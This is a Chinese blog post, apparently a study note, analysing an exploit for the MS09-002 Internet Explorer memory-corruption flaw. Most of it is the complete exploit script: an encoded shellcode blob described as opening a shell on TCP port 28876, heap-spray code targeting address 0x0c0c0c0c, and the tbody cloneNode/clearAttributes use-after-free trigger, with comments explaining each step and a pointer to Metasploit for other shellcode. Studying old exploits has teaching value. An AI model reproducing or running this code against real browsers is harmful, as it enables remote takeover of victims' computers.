攀蟾折桂摄寰宇,摘星揽月御乾坤。踏云踩雾骋宵壤,驱风逐日闯天地。 ------泉哥
- MS09-002 exploit 源码分析 - [溢出研究]
-
版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
http://riusksk.blogbus.com/logs/37734905.html刚拿到黑防样刊,先看了上面的一篇关于MS09-002漏洞分析的文章《Thingking in MS09-002》,略有感悟,因此记录一下,就当作学习笔记。// MS09-002 exploit code:-
<script language= "JavaScript">
-
-
// 绑定 win32系统上的 28876/tcp端口,用于反弹连接的shellcode
-
// 你可以根据自己的意愿来选择不同功能的shellcode,如果你比较懒的话,可以直接去Metasploit上
-
// 拷贝一份shellcode,在我的博客http://riusksk.blogbus.com有链接
-
var shellcode=unescape ( "%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb" );
-
//下面的代码主要用于实现 heap spray,即用js分配内存,所分配的内存均放入堆中,
-
//然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,
-
//申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,
-
//因此只要让IE执行到0x0C0C0C0C就可以执行shellcode,
-
//创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
-
var ret = 0x0c0c0c0c; CollectGarbage (); //将所有申请到的变量所占的空间释放掉
-
var heap_chunk_size = 0x40000; //每块用来填充的堆块大小
-
var nopsled_size = heap_chunk_size - (shellcode. length * 2 )
-
var nopsled = unescape ( "%u0c0c%u0c0c" );
-
while (nopsled. length < nopsled_size )
-
nopsled += nopsled; //每一堆块里面除了shellcode就放%u0C0C%u0C0C
-
heap_chunks = new Array (); //创建新数组,申请到的空间也是被分配到堆中
-
heap_chunks_num = (ret - heap_chunk_size )/heap_chunk_size; //将被覆盖掉的总内存大小
-
for ( var i = 0 ; i < heap_chunks_num ; i++ )
-
heap_chunks [i ] = nopsled +shellcode; // 用很多上面的堆块去覆盖掉一大片的内存地址
- var s1=unescape("%u0c0c%u0c0cAAAAAAAAAAAAAAAAAAAAAAAAA");
- var a1 = new Array();
- for(var x=0;x<500;x++)
- a1.push(document.createElement("img")); //循环创建 img元素
- o1=document.createElement("tbody"); //创建tbody元素
- o1.click; //触发click事件
- var o2 = o1.cloneNode(); //复制 o1对象给o2对象,由于我们并没有为click指定处理函数,因此两对象指向同一虚表地址
- o1.clearAttributes(); //清除o1属性
- o1=null; //将o1置null,此时其所占用的内存并不会释放,当下次再次定义变量时,就会覆盖此变量所在的内存,如果不设为null,JS再次定义变量时,就会开辟出一个新的内存空间
- CollectGarbage(); //释放内存空间
- for(var x=0;x<a1.length;x++)
- a1[x].src=s1; //循环为img.src属性赋予一长串值,覆盖的就是原o1的内存空间,当触发click后,就会去寻找s1中的地址,即0x0c0c0c0c,而此时它已经被我们通过heap spray技术覆盖掉了
- o2.click; //由于我们并没有为click指定处理函数,那么o1与o2对象指向的虚表中存在着click虚函数的地址,当两对象接到click事件后,会通过对象中的虚表指针来定位虚表,并在虚表中寻找处理函数。因此只要将虚表中的click函数地址替换为我们的shellcode的地址,即0x0c0c0c0c,就可以实现我们攻击目的了。
- </script>
-